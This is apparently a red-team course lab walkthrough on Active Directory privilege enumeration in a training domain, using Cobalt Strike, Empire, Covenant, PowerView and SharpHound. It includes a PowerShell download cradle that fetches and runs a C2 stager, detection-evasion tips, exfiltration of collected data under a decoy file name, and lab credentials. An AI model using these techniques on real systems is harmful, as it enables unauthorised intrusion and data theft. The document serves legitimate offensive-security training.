Lab 4.2: Privilege Hunting
Objectives
- Identify access rights of current compromised user
- Learn to enumerate remote servers in order to identify sessions and potentially local groups
- Enumerate GPOs to hunt for
restricted groupsmodifications - Utilize and interpret BloodHound data
- Identify running tasks on a system and who is running them
TTPs Emulated in this Lab
- T1087 - Account Discovery
- T1057 - Process Discovery
- T1083 - File and Directory Discovery
- T1018 - Remote System Discovery
- T1033 - System Owner/User Discovery
preparation
Preparation Steps
For this lab, we will be working with our command-and-control frameworks Cobalt Strike and Empire.
In this lab, both approaches will be explained, if you have the time feel free to try them both out.
However, it is not mandatory to complete the labs with both frameworks, if you have a preference, feel free to use your favorite C2.
One approach will suffice to successfully complete the lab.
For the sake of this lab, we will perform the lab under an assumed breach scenario.
Go ahead and login to the wk01.draconem.corp workstation with the following command.
xfreerdp +clipboard /cert-ignore /u:Gareth.Kilgallen /p:Hu825meapvsAq#Rx /v:wk01.draconem.corp
At this stage of the course, you should be quite familiar on how to spawn a Beacon/Agent. Please do so now.
(if you need a reminder, please refer to Lab 2.1 and Lab 2.2).
As a reminder, any third-party tooling that you will need during this lab is provided for you in /home/sec565/tools unless instructed otherwise.
Cobalt Strike can be accessed through guacamole http://10.130.2.22:8080/guacamole username: student password:Sec565!!
The Cobalt Strike Teamserver credentials are as follows
host: 10.130.4.100
password: sec565@!
The ports you can use with Cobalt Strike are 8888 for setting up a stager and 8443 for setting up a listener.
The easiest way to land a beacon in the lab is using the Scripted Web Delivery function in Cobalt Strike and then performing a download cradle under the form of
iex (irm -useb http://10.130.4.100:8888/a)
replace /a with whatever value you provided in the dialogue in Cobalt Strike.
If you need to copy paste commands, you can do so by opening the guacamole menu. On a Windows device, the Guacamole menu is displayed by pressing Ctrl + Alt + Shift. On a Mac, the Guacamole menu is displayed by pressing Ctrl ^ + Command ⌘ + Shift.
A new guacamole menu will appear in which you'll be able to paste your text. afterwards you'll be able to paste the text of the guacamole menu in your guacamole session, just like any normal paste.
On your own
Using Cobalt Strike And/or Empire:
- Find out if
Gareth.Kilgallenhas special privileges onwk01 - Find out if
Gareth.Kilgallenhas special privileges anywhere in the domain. - Identify logged on users both on
wk01as well as potentially anywhere else in the domain. - Identify processes ran by different users
- Run
BloodHoundand analyze the output it generates.
Walkthrough
Now that we have done some basic domain enumeration, let's continue our quest to achieve our objectives.
A logical next step is identifying the access rights of our compromised user(s) and any potential key account(s) or system(s) that we will need to compromise to gain further access in the environment.
Which local access does my compromised user have?
An important step in a red team operator's mental model would be to identify any important access our compromised account(s) have.
As seen in the lecture, there are various ways of doing this, some have bigger digital footprints than others.
The first thing we would like to find out is if our user has local admin rights on the machine.
Cobalt Strike Approach
Tip
Set your sleep timer to 0 to avoid having to wait for output, do note that this is opsec unsafe and should normally only be done on your interactive channel
4. One of the most straightforward (albeit loudest) ways of doing this is by invoking the net localgroup administrators command. In Cobalt Strike, this can be achieved using the Shell Command:
5. Cobalt Strike has a built in net command which will use the Windows API to query information.
We could use net localgroup administrators to achieve the same outcome without having to execute a shell command.
IMPORTANT OPSEC NOTE: using the built-in net command in Cobalt Strike will in fact perform process injection into an arbitrary process. This is opsec unsafe and is in fact arguably worse than executing the shell command!
Cobalt Strike supports Beacon Object Files (BOFs). A BOF is a miniature program written in the C programming language. This program can then be loaded by the Cobalt Strike beacon and executed in the Beacon's memory space without the need of a sacrifical process.
Thanks to the wonderful infosec community, there are a lot of free and open source BOFs published on GitHub.
A currated list is maintained by Fortra and can be found here: https://cobalt-strike.github.io/community_kit/
An interesting set of BOFs are published by TrustedSec here: https://github.com/trustedsec/CS-Situational-Awareness-BOF
One of these Situational Awareness BOFs performs the exact same Windows API call as the built-in net beacon command, but without having to spawn the sacrifical process.
This is considered the best way of performing these kinds of enumeration tasks, as it keeps the Indicators of Compromise (IoCs) to a minimum.
Let's try it out.
6. First, we will need to load the Situational Awareness (SA) Aggressor Script into Cobalt Strike. This Script will register some additional commands into our Cobalt Strike Client to make it easier to use the BOFs. We can do this by clicking on Cobalt Strike - Script Manager on the top left of the client.
7. When done, a new tab should open in the bottom half of your client called Scripts, a button should be present called Load. Go ahead and click it.
8. A new Pop up window should appear allowing you to browse files on your local filesystem, please navigate to C:\Tools\CS-SITUATIONAL-AWARENESS-BOF\SA and then click the SA.CNA file and press Open.
The CNA script should now be loaded and should appear in your Scripts tab.
9. Lets interact with our beacon by clicking on our Beacon Tab in the lower half of our client or double clicking the beacon in the upper half of the client.
10. We can now run the netLocalGroupListMembers administrators command. What is also nice is that this command automatically gets mapped to the correct MITRE ATT&CK Technique!
Question
Can you figure out how to run PowerView and SharpView in Cobalt Strike?
tip: take a look at the following built-in commands: powershell-import and execute-assembly
Empire Approach
11. One of the most straightforward (albeit loudest) ways of doing this is by invoking the net localgroup administrators command. In Empire, this can be achieved using the Shell Command task:
12. Alternatively, we could "borrow" from our close friend Covenant, and utilize the csharp/SharpSploit.Enumeration/GetNetLocalGroupMember task:
- ComputerNames : WK01
- LocalGroup: Adminstrators
We can see that our compromised user does not show up in the local admin list. We see that the domain admins group is a local administrator, for the sake of practice, let us verify if we are in the domain admins group.
13. We can use the powershell/situational_awareness/network/powerview/get_group task for this:
- Identity : Gareth.Kilgallen
When using Empire, depening on the agent you have deployed (powershell based or csharp based) it's more opsec safe to utilize PowerShell/Csharp commands. This is due to reflection capabilities and blending in.
BONUS: Covenant Approach
14. One of the most straightforward (albeit loudest) ways of doing this is by invoking the net localgroup administrators command.
In Covenant, this can be achieved using the shellcmd task.
shellcmd net localgroup administrators
15. Another, better approach would be to utilize the built-in GetNetLocalGroupMember task:
We can see that our compromised user does not show up in the local admin list.
We see that the domain admins group is a local administrator. For the sake of practice, let us verify if we are in the domain admins group.
16. Using Covenant's Assembly task, we can load SharpView and invoke the Get-DomainGroup -MemberIdentity Gareth.Kilgallen command to see which groups we belong to. As a reminder, SharpView should be located under /home/sec565/tools on your Slingshot VM.
Assembly /assemblyName:"SharpView" /parameters:"Get-DomainGroup -MemberIdentity Gareth.Kilgallen"
This C# assembly approach is better opsec in Covenants case than executing PowerShell, as Covenant is capeable of reflectively loading C# assemblies into itself without spawning additional processes.
PowerShell on the other hand, is prone to scriptblock logging and has more chances of being detected as PowerShell is not often used by regular users in day to day operations.
Unfortunately, we do not seem to be part of the local administrator group.
This means that the only way to escalate privileges on the local host would be through exploitation, or to compromise any user that is part of the local admin group.
We will have to check if our compromised user has interesting access on remote systems.
Do not forget that there could be interesting files or downloads laying around in your compromised users folders, this kind of "searching for a needle in a haystack" is also part of red teaming!
Which remote access does my compromised user have?
As stated, unfortunately we are not local admin on the machine that is running our implant.
This will be a common occurance during real-life red team operations.
Do not worry though, it is not because our user is not a local administrator, that we might not have any other interesting access on remote machines!
Let us investigate if we have interesting rights on remote systems. As an example we are primarily targetting fs01, but feel free to try some of these commands against other computers as well, perhaps you will come to interesting conclusions.
Cobalt Strike Approach
17. The first thing we can attempt to undertake is to invoke some RPC calls. The most interesting one for us would be utilizing the NetLocalGroupGetMembers API call, as this will retrieve localgroup membership on remote systems, as discussed in the lecture.
This is a relatively "safe" step to undertake, provided you do not spray the RPC call to all computers at the same time.
Again, OPSEC WARNING Cobalt Strike's built-in net command can perform this API call, however it will spawn a new process to inject the enumeration module into, this is an IoC.
net localgroup \\fs01 Administrators
Question
Can you figure out how to perform the same API calls in Cobalt Strike using the Situational Awareness BOF? What about Powerview/Sharpview?
tip: the syntax for the Situational Awareness BOF is as follows netLocalGroupListMembers [groupname] [optional: server]
18. We can try to corelate interesting GPOs to identify key groups or users we can target to obtain local admin privileges on more machines, expanding our access and bringing us closer to our objectives.
Let us use PowerView to do this (SharpView tends to break when attempting this).
First of all we will need to import PowerView into our Beacon. We can achieve this using the powershell-import task.
When typing powershell-import and pressing enter in the beacon interaction window, a new pop-up will appear.
Please navigate to C:\Tools\PowerView-Modded.ps1 and press the Open button.
After the script has been "opened" it can be utilized with the PowerShell command.
powershell Find-GPOComputerAdmin -ComputerName hr01
19. Now that we have done this enumeration manually, let us do it again using SharpHound. Cobalt Strike has a built in execute-assembly command.
OPSEC TIP
The execute Assembly command in Cobalt Strike will spawn a new process to inject the .NET assembly into, this creates an IoC.
However, thanks to the community, there is a BOF we can utilize so the .NET assembly gets executed in the Beacon process. (https://github.com/anthemtotheego/InlineExecute-Assembly)
Every upside has a downside though, as executing the .NET assembly within the beacon process could lead the beacon to crash, making you lose the beacon entirely in case the Assembly is poorly coded.
Let's see it in action, execute the following command in your beacon
Attention
Be sure to use the cd command to get into a directory that your compromised user has write access for, else SharpHound will not be able to generate the necessary output! An example of such a directory would be C:\Users\Public or more opsec safe C:\Windows\Tasks.
execute-assembly C:\Tools\SharpHound.exe -c DCOnly --memcache --zippassword sec565rules --zipfilename financialreport.zip
It is going to take a while for BloodHound to finish executing, however, as we used execute-assembly thus injecting into a new process, our Beacon is still usable and we can perform other tasks while BloodHound is running.
After a while, you should get the following message in your Beacon output window:
20. After BloodHound is finished, we need to exfiltrate the generated file back to our computer. The easiest way to do this is to use the File Browser.
Right-Click the beacon on the top half of your client, select Explore -> File Browser
A new Files Browser tab should appear on the lower half of the client and a file ending with financialreport.zip should be present in the directory listing.
21. We can right click the file and select Download
What happens now is that the file will get sent back to the Cobalt Strike server. However, we want to have the file on our machine, not the server, so we will need to sync the file back to us.
22. We can do this by navigating to the view -> download section on the top half of our client.
23. A new Downloads tab should open on the lower half of your client, showing you the downloaded files so far.
We can select our financialreport.zip file and press the Sync button.
24. A new pop-up should appear, allowing you to specify the location where you wish to save the file on your local machine.
Choose a location you will remember, for example the Desktop and press Open.
Congratulations, you successfully downloaded a file from your victim to the C2 server and from the C2 server to your local machine!
We will take a look at the data at the end of this lab.
25. Right now we have looked at RPC (NetLocalGroupGetMembers) and we did GPO correlation another approach we can still explore is access to any SMB shares.
The best way to do this in Cobalt Strike is using sharpshares.
execute-assembly C:\Tools\sharpshares.exe shares
Sharpshares enumerates the entire domain and lists permissions on all file shares identified, needless to say this is very noisy!
Empire Approach
26. The first thing we can attempt to undertake is to invoke some RPC calls. The most interesting one for us would be utilizing the NetLocalGroupGetMembers API call, as this will retrieve localgroup membership on remote systems, as discussed in the lecture.
This is a relatively "safe" step to undertake, provided you do not spray the RPC call to all computers at the same time.
- Technique : powershell/management/invoke_script
- ScriptCmd : Get-NetLocalGroupMember -ComputerName fs01
- ScriptPath: /home/sec565/tools/PowerView.ps1
We can try to corelate interesting GPOs to identify key groups or users we can target to obtain local admin privileges on more machines, expanding our access and bringing us closer to our objectives.
27. Let us use PowerView to do this (SharpView tends to break when attempting this).
- Technique : powershell/management/invoke_script
- ScriptCmd : Find-GPOComputerAdmin -ComputerName hr01
- ScriptPath: /home/sec565/tools/PowerView.ps1
28. Now that we have done this enumeration manually, let us do it again using SharpHound.
We have come to an interesting limitation, which is ideal as this type of scenario can happen to you in a real operation as well. The following issue is at hand: SharpHound got updated to version 4, However, Empire is not always quick in updating modules. As a result Empire does not have the latest PowerShellified version of Bloodhound (BloodHound 4).
You might think, that this is not that big of a deal and that we can just create a powershell version of the tool. You are correct, it is possible to do so however...
SharpHound4 has been completely recoded and is now doing threading differently than its predecessor did, as a result, Empire is not waiting properly for the output of SharpHound4 and will thus not execute properly.
In a real operation you have the following options:
- Modify SharpHound's source code
- Modify Empire's source code
- Use the older version of SharpHound that has been properly tested already and is working
- Drop SharpHound to Disk and execute it from Disk
The problem with using an older version of SharpHound is that it cannot be parsed in the latest BloodHound GUI.
29. In order to stay alligned with the Covenant approach (which is not haunted by this problem), let us go for a good old fashioned dropping to disk. Needless to say, this is not very opsec safe and should only be a last resort in a real operation. Let's navigate in our agent to the File Browser tab and go to C:\Users\Public.
30. From here on out, we can right-click the folder and select the upload option. Upload SharpHound.exe located in /home/sec565/tools.
31. Now that we uploaded SharpHound, wait a few seconds for the upload to complete and then execute the following shell command:
!!! Attention
Be sure to use the cd command to get into a directory that your compromised user has write access for, else SharpHound will not be able to generate the necessary output! An example of such a directory would be C:\Users\Public or more opsec safe C:\Windows\Tasks.
C:\Users\Public\SharpHound.exe -c DCOnly --memcache --zippassword sec565rules --zipfilename financialreport.zip
32. Now we need to exfiltrate the data back to our machine. We can do that by right clicking the zip file (refresh your file browser to make it appear by right clicking the folder and selecting refresh) and then selecting Download to Empire.
33. If you want to know where exactly the file was stored, take a look at your Empire server logs:
We will take a look at the data at the end of this lab.
Right now we have looked at RPC (NetLocalGroupGetMembers) and we did GPO correlation another approach we can still explore is access to any SMB shares. We can use the built-in powershell/situational_awareness/network/powerview/share_finder task to enumerate every share in the domain. This will take a while, so be patient!
BONUS: Covenant Approach
The first thing we can attempt to undertake is to invoke some RPC calls. The most interesting one for us would be utilizing the NetLocalGroupGetMembers API call, as this will retrieve localgroup membership on remote systems, as discussed in the lecture.
This is a relatively "safe" step to undertake, provided you do not spray the RPC call to all computers at the same time.
34. Covenant has a built-in getnetlocalgroupmember task we can utilize for this, feel free to target all domain computers, the screenshot below is just an example.
GetNetLocalGroupMember /computernames:"dev01,fs01" /localgroup:"Administrators"
We can try to corelate interesting GPOs to identify key groups or users we can target to obtain local admin privileges on more machines, expanding our access and bringing us closer to our objectives.
35. Let's use PowerView to do this (SharpView tends to break when attempting this):
Attention
Do not forget to import PowerView (located in /home/sec565/tools) using the PowershellImport Task first!
powershell Find-GPOComputerAdmin -ComputerName hr01
36. Now that we have done this enumeration manually, let us do it again using SharpHound:
Attention
Be sure to first use the ChangeDirectory command to get into a directory that your compromised user has write access for, else SharpHound will not be able to generate the necessary output! An example of such a directory would be C:\Users\Public or more opsec safe C:\Windows\Tasks
Assembly /assemblyname:"SharpHound" /parameters:"-C DCOnly --randomfilenames --zippassword sec565rules"
Note that we can also specify the --memcache parameter to make sure that the cached file is stored in memory and not dropped to disk #opsec.
37. Now we need to exfiltrate the data back to our machine:
Attention
Make sure you invoke a ListDirectory first to get a directory listing so you know what file is the SharpHound output! The output will have a random file extension but will have YYYYMMDD as a prefix.
We will take a look at the data at the end of this lab.
Where to find the downloaded data?
Covenant stores downloaded data in the Covenant/Data/Downloads directory. On slingshot this would be /opt/covenant/Covenant/Data/Downloads
38. Right now we have looked at RPC (NetLocalGroupGetMembers) and we did GPO correlation another approach we can still explore is access to any SMB shares. We can use SharpShares for this:
Assembly /assemblyname:"sharpshares" /parameters:"shares"
can you spot the misconfiguration?
As stated in the lecture, the NetLocalGroupGetMembers enumeration method is impossible on modern systems unless the user is local admin on the system that is being queried or when explicilty configured to be allowed through the usage of GPOs.
It seems that in this environment, we are able to enumerate local administrators on fs01.draconem.corp even when we are not local admin on that system... Interesting!
Who is logged on
Let's see if we can enumerate session logons on any systems, as we have had luck enumerating remote groups on fs01.draconem.corp, perhaps we will also have luck performing remote session enumeration on the same machine?
There are three ways of enumerating remote login sessions:
- using the
NetWkstaUserEnumAPI call : Requires admin privileges on remote host. - using the
NetSessionEnumAPI call : requires admin privileges on remote host or a weak DACL configuration on theLanManServerregistry key. - using remote registry, extracting the SID of
HKEY_USERSand translating it back to human readable format (if possible) : requires admin privilges on remote host or a weak DACL onHKEY_USERSregistry hive.
An excellent post explaining the nuances between the enumerations can be found here: https://web.archive.org/web/20221104081636/https://blog.cptjesus.com/posts/sharphoundtargetting/
To make sure you get the desired output, please logon to fs01.
xfreerdp +clipboard +drives /u:Hubie.Boller /p:'JYj&E6U!vkyh5uqG' /v:fs01.draconem.corp /cert-ignore
Open up the task scheduler:
And make sure the two startup tasks are running, if not, kick them off manually:
You can now log off from fs01 again.
Cobalt Strike Approach
Since we have already determined we are not a local admin on any systems, we do not expect the NetWkstaUserEnum to return us any results.
In a real red team operation, running this would be a "wasted" command. In the lab however, we can execute it to validate that we, indeed, will not get any results back.
39. We can utilize the Situational Awareness BOF collection to check out this information or the more opsec unsafe built-in net logons command
netloggedon fs01 OR net logons \\fs01
As expected, no results. We get an errocode 5 which is the equivalent of ACCESS DENIED.
40. Let's try NetSessionEnum next. As already stated, this API call will only succeed if you can query the LanManServer registry key.
This is normally only allowed for administrators, but misconfigurations can (and will) happen.
We can utilize the Situational Awareness BOF collection to check out this information or the more opsec unsafe built-in net sessions command
netsession fs01 OR net sessions \\fs01
This yields us some results! This means that the LanManServer registry DACL is improperly configured.
Now we need to make sense of what the results mean...
First of all, this API call will not actually return logged on users to the server itself.
This is important to understand and sounds a bit counter intuitive.
Instead, this API call returns all network connections that have been established to this server.
In the example, we can see that Almeria.Zanelli has a connection to fs01 and it originates from 10.130.5.40.
This means that this user is actually logged on to 10.130.5.40 and is accessing resources from fs01.
Unsurprisingly, we can also see ourself making the API call :)
Is there a way to actually get back the logged on users of the target?
Yes! using the remote registry, we can translate the SIDs that are present in the HKEY_USER hive.
This will require remote registry access and is not allowed by default. However, as we have seen, fs01.draconem.corp seems to have a lot of issues with improperly configured DACLs, so it is worth trying to get the information.
41. Cobalt Strike does not have a built in way of performing this, but we can utilize the Situational Awareness BOF or PowerView for this.
We can use reg_query fs01 HKU to get the security identifiers (SIDs) of logged on users on fs01.
42. We will then have to translate the SID back to a human readable name, the best way to do that is using the Situational Awareness BOF ldapsearch.
REPLACE objectSid=XXXX with the SID you are interested in! (e.g, the SIDs you enumerated in step 41)
ldapsearch (objectSid=xxxx) cn
Note, SID translation will only work for domain accounts, if a local account is encountered no SID translation will be able to be performed and your LDAP query will return 0 results.
43. PowerView can perform the aformentioned as well. Using a method called Get-RegLoggedOn. Unfortunately we have to remove a little piece of code or Powerview will error out over our command-and-control channel.
Let's open PowerView and modify the code of the Get-RegLoggedOn function a little bit:
We have to remove the -OutputType 'domainsimple' parameter in the code.
We have done this for you, the modified PowerView script is stored in C:\Tools\PowerView-Modded.ps1

44. We will have to reimport powerview
powershell-import C:\Tools\PowerView-Modded.ps1
45. We can now use powershell Get-RegLoggedOn -computername FS01 to achieve the same results as we had with the Situational Awareness BOFs.
Empire Approach
Since we have already determined we are not a local admin on any systems, we do not expect the NetWkstaUserEnum to return us any results.
In a real red team operation, running this would be a "wasted" command. In the lab however, we can execute it to validate that we, indeed, will not get any results back.
46. We can utilize empire's built-in csharp/SharpSploit.Enumeration/GetNetLoggedOnUser command.
- Technique : csharp/SharpSploit.Enumeration/GetNetLoggedOnUser
- ComputerNames : FS01
As expected, no results.
47. Let's try NetSessionEnum next. As already stated, this API call will only succeed if you can query the LanManServer registry key.
This is normally only allowed for administrators, but misconfigurations can (and will) happen.
We can verify any sessions using Empire's built-in csharp/SharpSploit.Enumeration/GetNetSession command.
- Technique : csharp/SharpSploit.Enumeration/GetNetSession
- ComputerNames : FS01
This yields us some results! This means that the LanManServer registry DACL is improperly configured.
Now we need to make sense of what the results mean...
First of all, this API call will not actually return logged on users to the server itself.
This is important to understand and sounds a bit counter intuitive.
Instead, this API call returns all network connections that have been established to this server.
In the example, we can see that Almeria.Zanelli has a connection to fs01 and it originates from 10.130.5.40.
This means that this user is actually logged on to 10.130.5.40 and is accessing resources from fs01.
Unsurprisingly, we can also see ourself making the API call :)
Is there a way to actually get back the logged on users of the target?
Yes! using the remote registry, we can translate the SIDs that are present in the HKEY_USER hive.
This will require remote registry access and is not allowed by default. However, as we have seen, fs01.draconem.corp seems to have a lot of issues with improperly configured DACLs, so it is worth trying to get the information.
Empire does not have a built-in command for this. But, fear not! PowerView is able to help us out (if we modify if a little).
PowerView has a method called Get-RegLoggedOn. Unfortunately we have to remove a little piece of code or Powerview will error out over our command-and-control channel.
48. Let's open PowerView and modify the code of the Get-RegLoggedOn function a little bit:
We have to remove the -OutputType 'domainsimple' parameter in the code.

49. Now we can import Powerview using the powershell/management/invoke_script task and execute the command.
- Technique : powershell/management/invoke_script
- ScriptCmd : Get-RegLoggedOn -ComputerName fs01.draconem.corp
- ScriptPath : /home/sec565/tools/PowerView.ps1
If you have some time left, why don't you make some opsec safer choices and replace the csharp tasks with PowerView ones? :)
The full documentation for PowerView can be found here: https://powersploit.readthedocs.io/en/latest/Recon/
In this example we see an "unresolved" SID. This indicates a local account is currently logged on to the system.
BONUS: Covenant Approach
50. Since we have already determined we are not a local admin on any systems, we do not expect the NetWkstaUserEnum to return us any results. In a real red team operation, running this would be a "wasted" command. In the lab however, we can execute it to validate that we, indeed, will not get any results back. We can utilize Covenant's built-in GetNetLoggedOnUser command.
GetNetLoggedOnUser fs01
As expected, no results.
51. Let's try NetSessionEnum next. As already stated, this API call will only succeed if you can query the LanManServer registry key. This is normally only allowed for administrators, but misconfigurations can (and will) happen. We can verify any sessions using Covenant's built-in GetNetSession command.
getnetsession fs01
This yields us some results! This means that the LanManServer registry DACL is improperly configured.
Now we need to make sense of what the results mean...
First of all, this API call will not actually return logged on users to the server itself.
This is important to understand and sounds a bit counter intuitive.
Instead, this API call returns all network connections that have been established to this server.
In the example, we can see that Almeria.Zanelli has a connection to fs01 and it originates from 10.130.5.40.
This means that this user is actually logged on to 10.130.5.40 and is accessing resources from fs01.
Unsurprisingly, we can also see ourself making the API call :)
Is there a way to actually get back the logged on users of the target?
Yes! using the remote registry, we can translate the SIDs that are present in the HKEY_USER hive.
This will require remote registry access and is not allowed by default. However, as we have seen, fs01.draconem.corp seems to have a lot of issues with improperly configured DACLs, so it is worth trying to get the information.
Covenant does not have a built-in command for this. But, fear not! PowerView is able to help us out (if we modify if a little).
PowerView has a method called Get-RegLoggedOn. Unfortunately we have to remove a little piece of code or Powerview will error out over our command-and-control channel.
52. Let's open PowerView and modify the code of the Get-RegLoggedOn function a little bit:
We have to remove the -OutputType 'domainsimple' parameter in the code.

53. Now we can import Powerview using the PowerShellImport task and execute the command using the PowerShell task.
powershell Get-RegLoggedOn -ComputerName fs01

In this example we see an "unresolved" SID. This indicates a local account is currently logged on to the system.
Who is running which processes?
Now that we know about our own access rights on the local and remote computers and enumerated some information about next targets, let's see if we can identify any interesting processes.
spoiler alert as we are not local admin on any system, we are not going to discover much.
Feel free to revisit this section when you compromised a higher privileged user :)
Empire Approach
55. Since Empire is running in PowerShell mode, we can simply invoke the "ps" shell command
Analyzing BloodHound Data
To end this lab, let us take a look at our BloodHound data that was captured.
Unfortunately, due to protections we have to take to safeguard the cobalt strike license, we cannot proceed with the bloodhound dump taken by Cobalt Strike.
For your convenience, a BloodHound datacapture is already available to you under /labs/sec-4/20230227183219_BloodHound.zip however there is a big caveat here.
This dump was taken in one lab deployment. As the lab deployment is dynamic, the SID will mismatch
In case you want to use your own bloodhound data (Empire/Covenant only)
In order to use our bloodhound data, we will first have to decrypt it using the password that was generated for you (provided you have used the encryptedzip option when running the BloodHound ingestor), this is different for everyone and random every time, unless you specified a zippassword, which we have done during the exercise.
In case you used Covenant, your downloaded data will be somewhere in /opt/covenant/Covenant/Data/Downloads
In case you used Empire, check your server log to find the location of where the bloodhound data was saved.
57. Extract the data on your slingshot as follows:
cd <file location>
unzip -P sec565rules <bloodhound_zip_name>
After you have extracted the JSON files, let us launch bloodhound.
58. replace all the /labs/sec-4/20230227183219_BloodHound.zip mentions in the instructions below, wit your own file location of the unencrypted zipfile.
59. Let's open up another terminal window as our normal user and type the following commands:
cd /home/sec565/tools/BloodHound-linux-x64
./BloodHound
This should open the bloodhound front-end interface.
60. If it is your first time running neo4j we will first have to change the default password, open up a browser and go to http://localhost:7474/browser/: You can go ahead and log in with the credentials username: neo4j password: neo4j
61. Now you will be prompted to setup a new password, go ahead and set it to whatever you'd like, as long as you remember it! We would advise to use bloodhound as password.
Now just drag and drop the files (/labs/sec-4/bloodhound-data.zip) onto the bloodhound front-end. After the import is complete, lets validate our GPO correlation.
62. As an example, in the search window, type "recruiting" then select the yellow "people" icon:
63. Now click the yellow node that appeared in the front-end so we can inspect the information:
64. If we scroll down the left-hand side, we will eventually come up to a submenu called Local Admin Rights, there will be a "1" next to first degree local admin rights, go ahead and click the "1".
65. We will now see that the recruiting group has local admin rights on hr01, if we scroll up the info menu on the left hand side,we will see a number next to a field called direct members, go ahead and click on the number.
This will expand the recruitment node so you will be able to identify which users belong to that group and are thus local admin to hr01:
If you've got some free time, feel free to explore more of BloodHound!























































